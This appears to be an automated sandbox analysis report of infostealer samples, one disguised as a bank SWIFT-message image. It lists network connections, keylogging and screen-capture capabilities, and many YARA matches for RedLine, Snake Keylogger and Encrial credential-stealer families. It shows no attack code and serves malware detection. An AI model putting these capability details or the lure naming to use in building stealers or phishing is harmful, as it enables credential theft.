              Source: unknownNetwork traffic detected: HTTP traffic on port 63649 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49744 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 63650
              Source: unknownNetwork traffic detected: HTTP traffic on port 49752 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 63650 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 63654
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49747
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 63653
              Source: unknownNetwork traffic detected: HTTP traffic on port 63654 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49746
              Source: unknownNetwork traffic detected: HTTP traffic on port 49756 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49745
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 63655
              Source: unknownHTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:63653 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:63655 version: TLS 1.2

              Key, Mouse, Clipboard, Microphone and Screen Capturing

              barindex
              Contains functionality to capture screen (.Net source)
              Source: 9.2.Native_New-Nova.exe.4b10000.8.raw.unpack, UltraSpeed.cs.Net Code: TakeScreenshot
              Contains functionality to log keystrokes (.Net Source)
              Source: 9.2.Native_New-Nova.exe.4b10000.8.raw.unpack, UltraSpeed.cs.Net Code: VKCodeToUnicode
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeWindow created: window name: CLIPBRDWNDCLASS
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeWindow created: window name: CLIPBRDWNDCLASS
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0917A1A8 GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyState,10_2_0917A1A8

              System Summary

              barindex
              Malicious sample detected (through community Yara rule)
              Source: 10.0.Native_snake01.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
              Source: 9.2.Native_New-Nova.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
              Source: 17.0.Native_snake01.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
              Source: 16.2.Native_New-Nova.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
              Source: 16.2.Native_New-Nova.exe.214183e.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 16.2.Native_New-Nova.exe.214183e.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 16.2.Native_New-Nova.exe.4a80000.6.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 16.2.Native_New-Nova.exe.4a80000.6.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 16.2.Native_New-Nova.exe.4a80f08.7.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 16.2.Native_New-Nova.exe.4a80f08.7.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 9.2.Native_New-Nova.exe.23e0000.4.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 9.2.Native_New-Nova.exe.23e0000.4.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 17.2.Native_snake01.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
              Source: 16.2.Native_New-Nova.exe.3425570.4.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 16.2.Native_New-Nova.exe.3425570.4.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 9.3.Native_New-Nova.exe.5993e8.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 9.3.Native_New-Nova.exe.5993e8.0.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 8.2.Ziraat_Bankasi_Swift_Messaji.png.exe.2864740.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
              Source: 10.2.Native_snake01.exe.49d0000.5.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 10.2.Native_snake01.exe.49d0000.5.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 10.2.Native_snake01.exe.49d0000.5.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 16.2.Native_New-Nova.exe.4a80f08.7.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 16.2.Native_New-Nova.exe.4a80f08.7.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 16.2.Native_New-Nova.exe.2142746.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 16.2.Native_New-Nova.exe.2142746.1.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 16.2.Native_New-Nova.exe.4a80000.6.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 16.2.Native_New-Nova.exe.4a80000.6.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 9.2.Native_New-Nova.exe.22a2746.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 9.2.Native_New-Nova.exe.22a2746.1.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 16.2.Native_New-Nova.exe.214183e.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 16.2.Native_New-Nova.exe.214183e.2.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 17.2.Native_snake01.exe.2221216.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 17.2.Native_snake01.exe.2221216.2.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 17.2.Native_snake01.exe.2221216.2.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 9.2.Native_New-Nova.exe.3600190.7.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 9.2.Native_New-Nova.exe.3600190.7.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 10.2.Native_snake01.exe.4930f20.4.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 9.2.Native_New-Nova.exe.4b10000.8.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 9.2.Native_New-Nova.exe.4b10000.8.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 17.2.Native_snake01.exe.4a10000.5.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 17.2.Native_snake01.exe.4a10000.5.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 17.2.Native_snake01.exe.4a10000.5.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 15.2.BZTCUCKTKd.exe.16a46b8.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
              Source: 17.2.Native_snake01.exe.4a10000.5.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 17.2.Native_snake01.exe.4a10000.5.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 17.2.Native_snake01.exe.4a10000.5.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 9.2.Native_New-Nova.exe.35d5570.5.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 17.2.Native_snake01.exe.49c0f20.3.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 17.2.Native_snake01.exe.49c0f20.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 17.2.Native_snake01.exe.49c0f20.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 16.3.Native_New-Nova.exe.59f268.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 16.3.Native_New-Nova.exe.59f268.0.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 10.2.Native_snake01.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
              Source: 9.2.Native_New-Nova.exe.4b10000.8.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 10.2.Native_snake01.exe.4930f20.4.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 9.2.Native_New-Nova.exe.22a183e.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 9.2.Native_New-Nova.exe.22a183e.2.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 9.2.Native_New-Nova.exe.23e0f08.3.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 9.2.Native_New-Nova.exe.23e0f08.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 16.0.Native_New-Nova.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
              Source: 17.2.Native_snake01.exe.49c0000.4.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 17.2.Native_snake01.exe.49c0000.4.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 17.2.Native_snake01.exe.49c0000.4.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 9.2.Native_New-Nova.exe.22a2746.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 9.2.Native_New-Nova.exe.35d5570.5.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 9.2.Native_New-Nova.exe.35d5570.5.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 9.2.Native_New-Nova.exe.35d5570.5.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 17.3.Native_snake01.exe.680768.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 16.2.Native_New-Nova.exe.3425570.4.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 16.2.Native_New-Nova.exe.3426478.5.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 16.2.Native_New-Nova.exe.3426478.5.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 9.2.Native_New-Nova.exe.35d6478.6.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 9.2.Native_New-Nova.exe.35d6478.6.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 16.3.Native_New-Nova.exe.59f268.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 9.2.Native_New-Nova.exe.22a2746.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 9.2.Native_New-Nova.exe.4b10000.8.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 10.2.Native_snake01.exe.4930f20.4.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 10.2.Native_snake01.exe.4930f20.4.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 10.2.Native_snake01.exe.4930f20.4.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 17.2.Native_snake01.exe.2221216.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 17.2.Native_snake01.exe.2221216.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 17.2.Native_snake01.exe.2221216.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 10.2.Native_snake01.exe.4930000.3.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 17.2.Native_snake01.exe.49c0000.4.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 17.2.Native_snake01.exe.49c0000.4.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 16.2.Native_New-Nova.exe.3425570.4.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 10.2.Native_snake01.exe.49d0000.5.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 9.0.Native_New-Nova.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
              Source: 16.2.Native_New-Nova.exe.50b0000.8.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 16.2.Native_New-Nova.exe.50b0000.8.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 16.2.Native_New-Nova.exe.3450190.3.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 16.2.Native_New-Nova.exe.3450190.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 9.2.Native_New-Nova.exe.22a183e.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 9.2.Native_New-Nova.exe.22a183e.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 17.3.Native_snake01.exe.680768.0.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 17.2.Native_snake01.exe.22202f6.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 9.2.Native_New-Nova.exe.35d6478.6.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 17.2.Native_snake01.exe.49c0000.4.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 9.2.Native_New-Nova.exe.35d6478.6.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 9.3.Native_New-Nova.exe.5993e8.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 9.3.Native_New-Nova.exe.5993e8.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 17.2.Native_snake01.exe.22202f6.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 10.2.Native_snake01.exe.49d0000.5.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 16.2.Native_New-Nova.exe.3450190.3.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 10.2.Native_snake01.exe.21402f6.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 10.2.Native_snake01.exe.21402f6.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 10.2.Native_snake01.exe.21402f6.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 9.2.Native_New-Nova.exe.23e0f08.3.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 9.2.Native_New-Nova.exe.23e0f08.3.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 10.2.Native_snake01.exe.4930000.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 17.3.Native_snake01.exe.680768.0.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 10.2.Native_snake01.exe.4930000.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 9.2.Native_New-Nova.exe.3600190.7.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 17.2.Native_snake01.exe.22202f6.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 9.2.Native_New-Nova.exe.3600190.7.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 16.2.Native_New-Nova.exe.50b0000.8.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 16.2.Native_New-Nova.exe.3426478.5.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 10.2.Native_snake01.exe.4930f20.4.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 10.2.Native_snake01.exe.49d0000.5.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 16.2.Native_New-Nova.exe.3450190.3.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 10.2.Native_snake01.exe.2141216.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 10.2.Native_snake01.exe.2141216.1.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 16.3.Native_New-Nova.exe.59f268.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 10.2.Native_snake01.exe.4930000.3.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 10.2.Native_snake01.exe.4930000.3.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 10.2.Native_snake01.exe.4930000.3.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 10.2.Native_snake01.exe.2141216.1.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 16.2.Native_New-Nova.exe.2142746.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 16.2.Native_New-Nova.exe.2142746.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 10.2.Native_snake01.exe.2141216.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 16.2.Native_New-Nova.exe.50b0000.8.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 10.2.Native_snake01.exe.2141216.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 17.2.Native_snake01.exe.49c0f20.3.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 9.2.Native_New-Nova.exe.23e0000.4.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 10.2.Native_snake01.exe.2141216.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 9.2.Native_New-Nova.exe.23e0000.4.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 17.2.Native_snake01.exe.49c0f20.3.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 10.2.Native_snake01.exe.21402f6.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 17.3.Native_snake01.exe.680768.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 17.2.Native_snake01.exe.22202f6.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 17.3.Native_snake01.exe.680768.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 10.2.Native_snake01.exe.21402f6.2.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 17.3.Native_snake01.exe.680768.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 10.2.Native_snake01.exe.21402f6.2.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 17.2.Native_snake01.exe.22202f6.1.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 16.2.Native_New-Nova.exe.3426478.5.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 17.2.Native_snake01.exe.22202f6.1.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 17.2.Native_snake01.exe.49c0f20.3.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 00000010.00000002.2951469963.0000000002101000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 00000009.00000002.2953521524.0000000002261000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 00000009.00000002.2963089780.00000000035D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 00000011.00000002.2954940699.00000000021E0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 00000009.00000002.2954150757.00000000023E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 00000009.00000002.2954150757.00000000023E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 00000011.00000002.2969063278.00000000049C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 00000011.00000002.2969063278.00000000049C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 00000011.00000002.2969063278.00000000049C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 00000011.00000003.1776206771.0000000000680000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 00000010.00000002.2964034510.0000000004A80000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 00000010.00000002.2964034510.0000000004A80000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 0000000A.00000002.2969436130.0000000004930000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 0000000A.00000002.2969436130.0000000004930000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 0000000A.00000002.2969436130.0000000004930000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 00000010.00000003.1775462812.000000000059F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 0000000A.00000003.1732371805.0000000000768000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 0000000A.00000002.2970078800.00000000049D0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 0000000A.00000002.2970078800.00000000049D0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 0000000A.00000002.2970078800.00000000049D0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 00000009.00000003.1730790993.0000000000599000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 0000000A.00000002.2953656770.0000000002100000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 00000010.00000002.2962477768.0000000003421000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 00000010.00000002.2965310039.00000000050B0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 00000010.00000002.2965310039.00000000050B0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 00000011.00000002.2969184624.0000000004A10000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 00000011.00000002.2969184624.0000000004A10000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 00000011.00000002.2969184624.0000000004A10000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 00000009.00000002.2964658526.0000000004B10000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 00000009.00000002.2964658526.0000000004B10000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: Process Memory Space: Native_New-Nova.exe PID: 7380, type: MEMORYSTRMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
